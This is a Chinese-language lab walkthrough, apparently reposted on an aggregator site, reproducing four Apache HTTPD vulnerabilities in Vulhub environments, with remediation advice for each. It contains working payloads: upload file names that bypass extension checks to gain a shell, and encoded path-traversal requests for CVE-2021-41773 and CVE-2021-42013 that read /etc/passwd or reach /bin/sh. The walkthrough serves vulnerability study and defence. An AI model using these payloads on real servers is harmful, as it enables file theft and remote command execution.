Apache HTTPD 漏洞复现

文章目录

  • Apache HTTPD 漏洞复现
    • 1. Apache HTTPD 多后缀解析漏洞
      • 1.1 漏洞描述
      • 1.2 漏洞复现
      • 1.3 漏洞利用
      • 1.4 获取GetShell
      • 1.5 漏洞防御
    • 2. Apache HTTPD 换行解析漏洞-CVE-2017-15715
      • 2.1 漏洞描述
      • 2.2 漏洞复现
      • 2.3 漏洞利用
      • 2.4 修复建议
    • 3. Apache HTTP Server_2.4.49 路径遍历和文件泄露漏洞-CVE-2021-41773
      • 3.1 漏洞描述
      • 3.2 漏洞复现
      • 3.3 漏洞利用
      • 3.4 修复建议
    • 4. Apache HTTP 服务器 2.4.50 中的路径遍历和文件泄露漏洞-CVE-2021-42013
      • 4.1 漏洞描述
      • 4.2 漏洞复现
      • 4.3 漏洞利用
      • 4.4 修复建议

Apache HTTPD 漏洞复现

1. Apache HTTPD 多后缀解析漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment。

1.1 漏洞描述

说明内容
漏洞编号
漏洞名称Apache HTTPD 多后缀解析漏洞
漏洞评级高危
漏洞描述在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
修复方案打补丁,上设备,升级组件

1.2 漏洞复现

环境启动

image-20230907113621912

访问80端口

image-20230907113808892

1.3 漏洞利用

环境运行起来后访问页面,上传一个文件

image-20230907114121455

显示上传不支持的文件类型

image-20230907114212135

我们可以将文件的后缀名修改为.png的格式来进行上传

image-20230907114320594

显示上传成功,并且显示出来所上传文件的路径。

image-20230907114338754

访问http://your-ip/uploadfiles/wuhu.php.png即可,发现phpinfo被执行了,该文件被解析为php脚本。

image-20230907114514974

http://your-ip/index.php中是一个白名单检查文件后缀的上传组件,上传完成后并未重命名。我们可以通过上传文件名为xxx.php.jpgxxx.php.pngxxx.php.jpeg的文件,利用Apache解析漏洞可以进行getshell。

1.4 获取GetShell

image-20230907115212021

image-20230907115254937

漏洞原因

image-20230907140926769

遇到以.php结尾的文件名后缀,就将其作为php文件执行。也就是所说只要文件后缀名中包含php就将其作为php脚本来执行。

1.5 漏洞防御

  • 通过正则方式来对其进行限制;、在配置文件中添加如下内容,匹配样式为 .php. 的文件并拒绝访问(该漏洞环境配置文件位于漏洞环境目录的 conf/docker-php.conf 生产环境中按照具体情况而定)
  • 将原本的 AddHandler application/x-httpd-php .php 注释掉,然后利用正则表达式单独为.php的文件添加处理程序

2. Apache HTTPD 换行解析漏洞-CVE-2017-15715

链接地址:Vulhub - Docker-Compose file for vulnerability environment。

2.1 漏洞描述

说明内容
漏洞编号CVE-2017-15715
漏洞名称Apache HTTPD 换行解析漏洞
漏洞评级高危
影响范围2.4.0~2.4.29
漏洞描述Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
修复方案打补丁,上设备,升级组件

2.2 漏洞复现

环境启动

image-20230907152738272

启动后Apache运行在http://your-ip:8080

image-20230907152858609

2.3 漏洞利用

上传一个名为wuhu.php的文件,被拦截:

image-20230907153020635

使用bp抓包查看

image-20230907153241072

先在wuhu.php后面添加一个点,然后修改其十六进制编码形式。

image-20230907153441604

在wuhu.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截:

image-20230907153718381

然后发包即可

image-20230907153806909

浏览器访问刚才上传的/wuhu.php%0a,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:

image-20230907154011583

2.4 修复建议

  1. 更新 Apache HTTPD 版本: 到目前为止,Apache HTTPD 团队已经发布了修复此漏洞的版本。建议尽快升级到最新版本,以确保服务器不受攻击
  2. 配置过滤换行符: 可以通过配置 Apache 的请求过滤来阻止恶意请求中的换行符。可以使用 mod_security 或其他安全模块来检测和过滤请求中的非法字符。
  3. 输入验证和过滤: 在处理用户输入数据时,进行严格的输入验证和过滤。特别是对于 HTTP 请求头、参数和路径等用户可控部分,要进行适当的输入验证,确保只有合法的字符和格式被接受。
  4. 启用安全模块: Apache HTTPD 提供了一些安全模块,如 mod_security 和 mod_rewrite。启用这些模块,并使用适当的规则和过滤器来检测和阻止恶意请求,可以提高服务器的安全性。

3. Apache HTTP Server_2.4.49 路径遍历和文件泄露漏洞-CVE-2021-41773

链接地址:Apache HTTP 服务器 2.4.49 中的路径遍历和文件泄露漏洞 (CVE-2021-41773)

3.1 漏洞描述

说明内容
漏洞编号CVE-2021-41773
漏洞名称Apache HTTP 服务器 2.4.49 中的路径遍历和文件泄露漏洞
漏洞评级高危
影响范围2.4.49-2.4.50
漏洞描述在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可以成功。如果还为这些别名路径启用了 CGI 脚本,则可能允许远程执行代码。
修复方案打补丁,上设备,升级组件

3.2 漏洞复现

环境启动

image-20230907155958632

服务器启动后,您通过 .It works!http://your-ip:8080访问页面。

image-20230907160147412

3.3 漏洞利用

一个简单的 CURL 命令来重现漏洞(请注意,必须是现有目录):/icons/

使用bp抓取数据包,然后修改即可。

curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

image-20230907161743094

在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行:

cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

image-20230907163748004

3.4 修复建议

  1. 更新 Apache HTTP Server 版本: 确保您的 Apache HTTP Server 版本已经升级到最新的安全版本。Apache 团队已发布了修复此漏洞的补丁,建议尽快更新至官方发布的修复版本。
  2. 配置文件和目录权限: 检查您的服务器上敏感文件的权限配置。确保只有必要的用户和组才能访问这些文件,并设置适当的权限以防止未授权的访问。
  3. 过滤请求参数: 使用适当的输入验证和过滤来处理用户提供的请求参数。特别是对于路径参数或其他用户可控的输入,要进行严格的验证和过滤,防止路径遍历攻击。

4. Apache HTTP 服务器 2.4.50 中的路径遍历和文件泄露漏洞-CVE-2021-42013

链接地址:Vulhub - 用于漏洞环境的 Docker-Compose 文件

4.1 漏洞描述

说明内容
漏洞编号CVE-2021-42013
漏洞名称Apache HTTP 服务器 2.4.50 中的路径遍历和文件泄露漏洞
漏洞评级高危
影响范围2.4.49~2.4.50
漏洞描述CVE-2021-42013 是一个漏洞,由 CVE-2021-41773修复不完整导致,攻击者可以使用路径遍历攻击将 URL 映射到类别名指令配置的目录之外的文件。
修复方案打补丁,上设备,升级组件

4.2 漏洞复现

环境启动

image-20230907164501458

4.3 漏洞利用

Apache HTTP 服务器 2.4.50 修补了以前的 CVE-2021-41773 有效负载,例如 ,但它不完整。

使用bp抓取数据包,然后修改即可。

绕过修补程序(请注意,必须是现有目录):.%%32%65``/icons/

/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

image-20230907164700755

在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行:

cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

image-20230907164937559

4.4 修复建议

  1. 更新 Apache HTTP Server 版本: 确保您的 Apache HTTP Server 版本已经升级到最新的安全版本。Apache 团队已发布了修复此漏洞的补丁,建议尽快更新至官方发布的修复版本。
  2. 配置文件和目录权限: 检查您的服务器上敏感文件的权限配置。确保只有必要的用户和组才能访问这些文件,并设置适当的权限以防止未授权的访问。
  3. 过滤请求参数: 使用适当的输入验证和过滤来处理用户提供的请求参数。特别是对于路径参数或其他用户可控的输入,要进行严格的验证和过滤,防止路径遍历攻击。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/79156.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

无涯教程-JavaScript - ISREF函数

描述 如果指定的值是参考,则ISREF函数返回逻辑值TRUE。否则返回FALSE。 语法 ISREF (value) 争论 Argument描述Required/OptionalvalueA reference to a cell.Required Notes 您可以在执行任何操作之前使用此功能测试单元格的内容。 适用性 Excel 2007,Excel 2010,Exce…

【LeetCode】210. 课程表 II——拓扑排序

题目链接:210. 课程表 II 题目描述: 现在你总共有 numCourses 门课需要选,记为 0 到 numCourses - 1。给你一个数组 prerequisites ,其中 prerequisites[i] [ai, bi] ,表示在选修课程 ai 前 必须 先选修 bi 。 例如…

【Flowable】使用UEL整合Springboot从0到1(四)

前言 在前面我们介绍了Springboot简单使用了foleable以及flowableUI的安装和使用,在之前我们分配任务的处理人的时候都是通过Assignee去指定固定的人的。这在实际业务中是不合适的,我们希望在流程中动态的去解析每个节点的处理人,当前flowab…

9.12 C++作业

实现一个图形类(Shape),包含受保护成员属性:周长、面积, 公共成员函数:特殊成员函数书写 定义一个圆形类(Circle),继承自图形类,包含私有属性:半…

计算机网络TCP篇之流量控制

计算机网络TCP篇之流量控制 今天谈一谈我对于tcp流量控制的看法 在网络拓扑中如果发送方节点的发送速率大于接受方节点的接受速率,数据会不断在接受方的缓冲区累积,直到接受方的缓冲区满的时候,发送方继续发送数据,这时候接受方无…

算法通关村18关 | 回溯模板如何解决分割回文串问题

1. 分割回文串 题目 LeetCode131 分割回文串,给你一个字符串s,请你将s分割成一些字串,使每个字串都是回文串,返回s所有可能的分割方案。 回文串是正着和反着读都是一样的字符串。 思路 知道回溯的模板,用回溯的角度思…

用python实现音乐下载

前言 本文背景 最近对音乐比较有需求,想着用自己学的python来实现一下下载需求, 真的是拿着锤子在满世界找钉子,**文末附全部代码**声明: 本文仅作技术交流,禁止用于其他非法途径本文2023年9月15日是可用的&#xff…

AI Studio星河社区生产力实践:基于文心一言快速搭建知识库问答

还在寻找基于文心一言搭建本地知识库问答的方案吗?AI Studio星河社区带你实战演练(支持私有化部署)! 相信对于大语言模型(LLM)有所涉猎的朋友,对于“老网红”知识库问答不会陌生。自从大模型爆…

树和二叉树

1、树的定义2、树的基本术语3、二叉树的定义4、二叉树的性质和存储结构5、满二叉树、完全二叉树**完全二叉树的性质** 6、二叉树的存储顺序存储结构链式存储结构 7、遍历二叉树演示8、二叉树相关算法(1)遍历二叉树递归算法实现(2)…

【LeetCode-简单题】26. 删除有序数组中的重复项

文章目录 题目方法一&#xff1a;快慢指针 题目 方法一&#xff1a;快慢指针 class Solution { //快慢指针public int removeDuplicates(int[] nums) {int fast 1;int slow 0;while(fast < nums.length){if(nums[fast] nums[fast-1]) fast;//若当前元素和之前元素相同 则…

[NLP]LLM---大模型指令微调中的“Prompt”

一 指令微调数据集形式太多 大家有没有分析过 prompt对模型训练或者推理的影响&#xff1f;之前推理的时候&#xff0c;发现不加训练的时候prompt&#xff0c;直接输入模型性能会变差的&#xff0c;这个倒是可以理解。假如不加prompt直接训练&#xff0c;是不是测试的时候不加…

将 Google Kubernetes Engine (GKE) 上稳定扩散的启动时间缩短 4 倍

Cloud Ace 是 Google Cloud 全球战略合作伙伴&#xff0c;在亚太地区、欧洲、南北美洲和非洲拥有二十多个办公室。Cloud Ace 在谷歌专业领域认证及专业知识目前排名全球第一位&#xff0c;并连续多次获得 Google Cloud 各类奖项。作为谷歌云托管服务商&#xff0c;我们提供谷歌…

构建健壮的Spring MVC应用:JSON响应与异常处理

目录 1. 引言 2. JSON 1. 轻量级和可读性 2. 易于编写和解析 3. 自描述性 4. 支持多种数据类型 5. 平台无关性 6. 易于集成 7. 社区支持和标准化 3. 高效处理异常 综合案例 异常处理方式一 异常处理方式二 异常处理方式三 1. 引言 探讨Spring MVC中关键的JSON数据…

【autodl/linux配环境心得:conda/本地配cuda,cudnn及pytorch心得】

linux配环境心得&#xff1a;conda/本地配cuda&#xff0c;cudnn及pytorch心得 我们服务器遇到的大多数找不到包的问题一&#xff0c;服务器安装cuda和cudnn使用conda在线安装cuda和cudnn使用conda进行本地安装检查conda安装的cuda和cudnn本地直接安装cuda和cudnn方法一&#x…

java高级:注解

目录 认识注解&自定义注解元注解解析注解注解的应用场景 认识注解&自定义注解 注解和反射一样&#xff0c;都是用来做框架的&#xff0c;我们这里学习注解的目的其实是为了以后学习框架或者做框架做铺垫的。 先来认识一下什么是注解&#xff1f;Java注解是代码中的特…

嵌入式学习笔记(31)异常向量表的编程处理

6.5.1像内存一样去访问异常向量表 &#xff08;1&#xff09;S5PV210的异常向量表可以改变&#xff08;在CP15协处理器中&#xff09;&#xff0c;以适应操作系统的需求。但是目前系统刚启动&#xff0c;此时DRAM尚未初始化&#xff0c;程序哦都市在iSRAM中运行。210在iSRAM中…

C++下基于粒子群算法解决TSP问题

粒子群优化算法求解TSP旅行商问题C&#xff08;2020.11.12&#xff09;_jing_zhong的博客-CSDN博客 混合粒子群算法&#xff08;PSO&#xff09;&#xff1a;C实现TSP问题 - 知乎 (zhihu.com) 一、原理 又是一个猜答案的算法&#xff0c;和遗传算法比较像&#xff0c;也是设…

入门人工智能 ——自然语言处理介绍,并使用 Python 进行文本情感分析(5)

入门人工智能 ——自然语言处理介绍&#xff0c;并使用 Python 进行文本情感分析&#xff08;5&#xff09;&#xff09; 入门人工智能 ——自然语言处理介绍&#xff0c;并使用 Python 进行文本情感分析介绍自然语言处理的挑战NLP的基本任务NLP的基本技术NLP的应用领域 使用 P…

FPGA的基础架构,什么是CLB?

本原创文章由深圳市小眼睛科技有限公司创作&#xff0c;版权归本公司所有&#xff0c;如需转载&#xff0c;需授权并注明出处 CLB是指可编程逻辑功能块&#xff08;Configurable Logic Blocks&#xff09;,顾名思义就是可编程的数字逻辑电路。CLB是FPGA内的三个基本逻辑单元。C…

与社交媒体结合:视频直播美颜sdk在社交平台上的应用

为了让直播内容更吸引人&#xff0c;视频直播美颜sdk&#xff08;Software Development Kit&#xff09;正逐渐崭露头角&#xff0c;为社交媒体用户提供了卓越的美颜效果和互动体验。 一、什么是视频直播美颜sdk&#xff1f; 在深入讨论如何将视频直播美颜sdk整合到社交媒体平…